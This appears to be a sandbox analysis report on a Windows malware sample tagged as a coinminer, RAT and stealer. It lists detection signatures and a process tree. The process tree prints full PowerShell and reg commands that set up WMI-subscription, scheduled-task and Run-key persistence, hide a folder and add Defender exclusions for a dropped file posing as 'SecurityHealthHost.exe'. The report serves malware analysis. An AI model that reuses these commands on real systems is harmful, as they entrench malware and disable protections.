Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/08/2026, 19:09

General

  • Target
    2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe
  • Size 13.2MB
  • Sample260820-xt5a4ahn6w
  • SHA256 af1520326c6a2dae3ddfc1b60daf0bdb6622b44b5ac02be4510b4b2e49f6d35d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-20_415bfaf129271b2a52139700f207146f_coinminer_dosia_glassworm_poet-rat_qilin_quasar-rat_snatch.exe"
    1⤵
    • Creates a file in the Startup directory
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync
      2⤵
      • Views/modifies file attributes
      PID:4720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'SecurityHealthHost_f_23e52075'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'SecurityHealthHost_c_23e52075'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='SecurityHealthHost_f_23e52075'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='SecurityHealthHost_c_23e52075'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'SecurityHealthHost_23e52075' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealthHost /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:3124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync'; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' } Catch {}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5520
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
    1⤵
    • Executes dropped EXE
    PID:2508

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 87470f23f1ebc2e1083f6f925feea4165d6885913e16b98bcd9ec9575934aeb0
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 95978f0cd185a63a1f101279a7dab24a31aa1f79c50a93a0e5ec2ef78f56b7c1
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_lzbaro0p.0ee.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lzbaro0p.0ee.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        SecurityHealthHost.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SecurityHealthHost.exe
        • Size 13.2MB
        • SHA256 af1520326c6a2dae3ddfc1b60daf0bdb6622b44b5ac02be4510b4b2e49f6d35d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4708-4-0x000002CFFEB60000-0x000002CFFEB70000-memory.dmp

        memory/4708-3-0x000002CFFEB60000-0x000002CFFEB70000-memory.dmp

        memory/4708-5-0x000002CFE63A0000-0x000002CFE63C2000-memory.dmp

        memory/4708-15-0x000002CF82280000-0x000002CF8249C000-memory.dmp

        memory/5520-36-0x000002A479D90000-0x000002A479FAC000-memory.dmp